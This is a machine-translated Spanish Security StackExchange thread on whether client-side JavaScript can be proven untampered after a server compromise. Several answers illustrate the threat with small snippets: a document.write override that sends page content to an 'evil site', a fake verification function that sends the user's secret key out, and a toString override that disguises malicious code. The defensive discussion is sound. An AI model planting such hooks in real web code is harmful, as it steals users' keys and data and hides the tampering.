Pregunta:
¿Cómo demostrar que el Javascript del lado del cliente es seguro?
Joseph
2016-03-21 16:59:24 UTC
view on stackexchange narkive permalink

Imagine que tiene una aplicación web que cifra los datos del usuario, como una nota o una hoja de cálculo, tanto en el servidor como en el cliente.

El proceso normal para un usuario que utiliza esta aplicación web es algo así como esto:

  1. El usuario inicia sesión en la aplicación usando un nombre de usuario / contraseña-hash almacenado en el servidor. (Como aplicaciones web normales).
  2. El usuario ingresa una clave segura adicional que se usa para encriptar los datos del lado del cliente. La aplicación web utiliza una biblioteca de cifrado del lado del cliente como SJCL

En este ejemplo, centrémonos en el lado del cliente.

La situación es esto: el servidor ha sido comprometido y un atacante accede a las claves del lado del servidor. El atacante no tiene las claves del lado del cliente, ya que nunca se almacenan en el servidor.

Ahora el atacante necesita modificar el Javascript para leer la clave del lado del cliente cuando el usuario la ingresa en la aplicación web (cliente lado). El Javascript estaría programado para enviar la clave al atacante / servidor. Ahora el atacante ha ganado.

Entiendo que se supone que una vez que se hace cargo del servidor, ha perdido, pero me gustaría saber si mis pensamientos a continuación permiten una solución segura del lado del cliente.


La situación

Se supone que el HTML contiene algo de código Javascript dentro de algunas etiquetas de script, y también hay mucho código Javascript cargado a través de Archivos Javascript que residen en el servidor. Es el Javascript que ejecuta la aplicación web el problema. Tenemos que asumir que el atacante ha modificado cualquier Javascript, ya sea en línea o externo.

¿Posible solución?

Quiero poder generar un hash de todo el Javascript cargado desde mi servidor. El has actuará como una huella digital para el código Javascript del lado del cliente y el usuario desconfiará de un nuevo hash.

Estas son las dos formas en las que he pensado hasta ahora:

  1. Tome un hash de todos los archivos cargados en el cliente. Esto significa volver a solicitar todos los archivos incluidos.

  2. Tome un hash de todo el código Javascript en la memoria. (¿Se puede hacer esto?)

El problema común con ambas opciones es que cualquier función que realmente esté haciendo este hash, debe ser lo suficientemente pequeña para que el usuario en cuestión pueda verifique que sea seguro de usar en unos segundos.

Estoy pensando que esta función hash se carga en el navegador como de costumbre, y el usuario puede escribir el nombre de la función desde la consola sin el () para que puedan ver el código, y luego escriba de nuevo con () para ejecutar el código.

Entonces el hash debería ser lo suficientemente bueno para probar que la aplicación web es en un estado que el usuario sabe que ha inspeccionado en el pasado.

Esto incluso podría convertirse en un complemento en algún momento, aunque estoy decidido a ver si es posible una solución nativa.


Básicamente lo que estoy preguntando es, ¿qué métodos existen que nos permiten probar la integridad del estado del cliente?

[No use JS para criptografía] (http://www.matasano.com/articles/javascript-cryptography/)
Ningún método en absoluto. Una vez que se separe de su código, estará a merced del hacker.
Supongo que la única forma de obtener el cifrado del lado del cliente es crear un complemento, ¿está de acuerdo? Esto evitaría que el cliente tenga algún control pase lo que pase.
No es un duplicado, pero eche un vistazo a [Verificar la integridad de javascript de CDN] (http://security.stackexchange.com/questions/74424/verify-cdn-javascripts-integrity).
Entonces, ¿dónde se publica la huella digital? ¿Por qué un atacante no podía cambiar eso? ¿Está sugiriendo que el usuario recuerda el hash que vio en la última visita y toma alguna acción (no estoy seguro de qué) cada vez que visita el sitio y el hash ha cambiado?
¿Podría una solución extraer el JavaScript idéntico de 2 o 3 fuentes / servidores diferentes junto con la integridad de los recursos secundarios?Suponiendo que cada fuente / servidor remoto tenga credenciales de inicio de sesión diferentes, sería bastante difícil para un pirata informático piratear todas las fuentes por separado.Se necesitaría implementar un sistema de autocomprobación para cada fuente descargada: cada fuente js verifica la integridad de las demás antes de continuar ... No he implementado nada como esto, pero a menudo he pensado que solo confiar en una fuente espeligroso.
Cinco respuestas:
Matthew
2016-03-21 17:11:53 UTC
view on stackexchange narkive permalink

No puede estar seguro de que no haya sido manipulado. Un atacante está ejecutando código en su sistema; con el esfuerzo suficiente, puede manipular cualquier cosa que suceda dentro del contexto del navegador en el que se está ejecutando (por lo tanto, un complemento no sufre de la misma manera, está en un contexto diferente).

Ya no todos los puntos en el enlace Matasano de @SmokeDispenser son totalmente correctos, aunque el principio básico se mantiene. Esfuerzos como la API WebCrypto están tratando de abordar algunos de los problemas, pero aún no están maduros; incluso si lo estuvieran, no sería posible determinar con certeza que el código no estaba haciendo algo. malicioso al mismo tiempo que realiza el comportamiento esperado.

"* el código no estaba haciendo algo malicioso al mismo tiempo que realizaba el comportamiento esperado *" Los virus en la nube están a la vuelta de la esquina
cloudfeet
2016-03-21 18:50:42 UTC
view on stackexchange narkive permalink

Una página web con JavaScript es esencialmente una pequeña aplicación que se ejecuta en una caja de arena en su computadora. Cada vez que visita la página, descarga la última versión de la aplicación y la ejecuta. ( Cómic XKCD obligatorio)

Esto significa que si un atacante tiene el control de su servidor y puede proporcionar código envenenado, entonces sus problemas son muy similares a si su usuario ha descargado un software espía. -Versión montada de su software desde un sitio de descarga poco fiable. Cualquier protección que inserte en su aplicación puede ser eliminada o ignorada por el atacante.

La única forma de mantener segura una aplicación web contra un atacante que controla el servidor es si una parte de su aplicación web se almacena en la computadora del usuario. Por ejemplo, podría ser un archivo descargado o un marcador de URL de data: . Este fragmento de código se cargaría primero y luego podría contener suficiente lógica para verificar la integridad de todos los recursos adicionales antes de la ejecución, p. Ej. a través de integridad de los recursos secundarios o en navegadores más antiguos verificando el hash antes de usar exec().

(Escribí una pequeña implementación de sha256 jugar con esta idea de arrancar desde una URL de data: , e incluso un cargador de módulo basado en ella por diversión, pero obviamente no recomendaría usar esto en producción).

En resumen: si desea que sus usuarios simplemente ingresen una URL y carguen su sitio, entonces esto depende completamente de la seguridad del servidor. Incluso monitorear su propio sitio podría no ayudarlo si el atacante se dirige solo a usuarios en particular.

symcbean
2016-03-21 18:49:58 UTC
view on stackexchange narkive permalink

Si le he entendido bien, querrá asegurarse de que el código proporcionado por el servidor coincida con alguna noción de reconocido como bueno en el cliente. Pero para los navegadores, el único lugar que puede suministrar contenido al navegador es el servidor, por lo que sus medios de validación se entregan desde la misma fuente y a través del mismo canal que el contenido que desea validar (como ha dicho Matthew).

Hay cierto margen para aprovechar esto en su beneficio si puede separar el momento en el que las 2 partes se entregan al cliente (es decir, utilizando diferentes tiempos de caché y hacer que cada mitad valide la otra). Pero va a estar lejos de ser infalible.

Javascript proporciona una reflexión adecuada para que la validación sea sencilla (sí, puede leer lo que hay en la memoria de Javacript). El problema es diferenciar entre el código que vino como parte de la página / cargado por la página y lo que ya está integrado en el navegador. Este último variará según la marca y la versión. Y siempre que su código llame al código proporcionado por el navegador (por ejemplo, para escribir cosas en la pantalla), también debe poder validar el código del navegador. Esto es un problema, ya que es simple reemplazar cualquier función de javascript (incluidas las integradas) con algo más:

  _orig_write = document.write; document.write = function (str) { send_data_to_evil_site (str); _orig_write (str);}  

No puede confiar en la detección:

  if ('function write () {[native code]}'! = document.write.toString ()) {alert ("¿quizás el toString también se cambió?");}  

Es posible que desee echar un vistazo a la transferencia de su javascript en archivos jar firmados. Aunque originalmente estaba destinado a dar acceso a Javascript fuera de su caja de arena, el mecanismo integrado en el navegador para vaildating el contenido debería ser más robusto que una solución de cosecha propia, pero recuerde que este código puede tener un impacto potencialmente fuera de la caja de arena (que podría un desvío para cualquier cliente preocupado por la seguridad).

Carl Rck
2017-02-08 17:01:47 UTC
view on stackexchange narkive permalink

Validar el código del lado del cliente tiene sentido incluso si su código del lado del servidor no se vio comprometido. Si un atacante puede modificar el código o inyectar un nuevo código, puede capturar credenciales o modificar el marcado de la página y realizar phishing, y esto es lo suficientemente grave como para que la gente se preocupe.

Acerca de las soluciones propuesto hasta ahora:

  • Integridad del sub-recurso - solo valida la integridad del código de terceros, y luego solo al cargar. Un atacante puede inyectar código en línea o envenenar el código existente. Por lo tanto, SRI no es eficaz contra esta clase particular de ataques. Está destinado a detectar cuándo su CDN se vio comprometida.
  • WebCrypto: es bueno tener criptografía estándar en el navegador, pero como cualquier otra función nativa disponible, puede estar envenenada.
  • Otras soluciones propuestas se basan en que su código se ejecute primero que un posible adversario. El problema es que es muy difícil de asegurar. Es por eso que estándares como CSP se llevan en encabezados HTTP y, por definición, el navegador tiene que hacerlos cumplir primero, antes de cargar cualquier JS. (Por cierto, CSP tampoco funciona contra el envenenamiento de código).

No existe una solución a prueba de balas. Lo que puede hacer es subir el listón tanto como pueda, para mitigar la mayoría de los ataques y desmotivar a otros.

Me sorprende que nadie sugiera la ofuscación de JavaScript. Si la ofuscación es lo suficientemente resistente e incluso polimórfica, puede generar resultados que son inviables de comprender y suficientemente diversos. Puede rotar las versiones protegidas periódicamente para lograr esto. Con eso, elimina los objetivos de envenenamiento automatizados, ya que los nombres, las formas e incluso el diseño del código cambian constantemente. Supongo que el atacante está remoto al navegador (de ahí la necesidad de automatizar el ataque). Además, hoy en día existen soluciones que producen código de autodefensa que hace que el código sea resistente a la manipulación y el envenenamiento, lo que lo hace cada vez más complejo de derrota.

Para lidiar con modificaciones al DOM específicamente, necesita algo ligeramente diferente que pueda detectar estas modificaciones y eliminarlas.

¿Cómo puede la ofuscación ayudar al OP?Si el servidor está comprometido, aún puede entregar código alterado y ofuscado.
El OP declaró: "Ahora el atacante necesita modificar el Javascript para leer la clave del lado del cliente cuando el usuario la ingresa en la aplicación web (lado del cliente)".La protección (y la ofuscación) del código sería útil para dificultar el análisis y la manipulación de ese código.
Si el atacante controla completamente el servidor, entonces el lado del cliente debe verificar todo lo que proviene del servidor.Similar a Subresource Integrity, pero en este caso para su propio servidor.El usuario final podría recibir un token (puede llamarlo clave de cliente) que pueda verificar la integridad del código que se está ejecutando.Por ejemplo, podría insertar esa clave, y el JS calcularía una cantidad de hash diferentes del código para verificarlo y luego advertiría al usuario si algo no funcionaba.La protección del código también sería útil aquí.
Si el atacante reemplaza este código con algo completamente nuevo, el mecanismo de verificación ya no estará allí, y eso en sí mismo sería una advertencia para el usuario.Por supuesto, esto no es perfecto, pero sube el listón significativamente más en comparación con otras opciones mencionadas.
El modelo de amenaza OP: "Tenemos que asumir que el atacante ha modificado algún Javascript".Función de verificación del lado del cliente alterada (versión no confusa): `function verifyClientCode (secretKey, code) {sendToServer (secretKey);devuelve verdadero;} `.Aún así, no veo cómo la ofuscación eleva el listón para un atacante.De hecho, podría hacer lo contrario;hacen que sea aún más difícil identificar el código manipulado.A menos que el código de verificación del lado del cliente incluya un código que no se origina en el servidor, el problema original persistirá.
Tomas Langkaas
2017-02-08 17:36:05 UTC
view on stackexchange narkive permalink

El OP pregunta si es posible demostrar que el JavaScript del lado del cliente es seguro, en el caso de que el servidor se haya visto comprometido. Como han señalado otros, siempre que el servidor proporcione al cliente el código JavaScript, puede ser manipulado, incluido el código destinado a verificar que el código es seguro.

Esto ya está señalado por el OP, que sugiere que la inspección del código del lado del cliente podría usarse para verificar:

Estoy pensando que esta función hash se carga en el navegador como de costumbre, y el usuario puede escribir el nombre de la función desde el consola sin el () para que puedan ver el código, y luego vuelva a escribir con () para ejecutar el código.

Si el servidor proporciona la función hash, esto se puede evitar fácilmente , intente inspeccionar la función dañina a continuación en la consola:

  función dañina () {/ * código maligno * /} dañino.toString = function () {return ' función dañina () {/ * Soy inofensivo * /} '}  

El punto principal es que no es posible verificar la seguridad del código del lado del cliente en caso de compromiso del servidor, siempre que todos El servidor proporciona el código del lado del cliente. Y JavaScript es tan flexible que el código dañino puede disfrazarse como inofensivo al inspeccionar el código en la consola.

Si bien es relevante, su respuesta no aborda la pregunta formulada y creo que sería más adecuada como comentario.Sin embargo, no tengo ningún voto negativo
@Purefan, elaboró la respuesta, pensó que era importante responder directamente a la solución propuesta por el OP, gracias por los comentarios.


Esta pregunta y respuesta fue traducida automáticamente del idioma inglés.El contenido original está disponible en stackexchange, a quien agradecemos la licencia cc by-sa 3.0 bajo la que se distribuye.
Loading...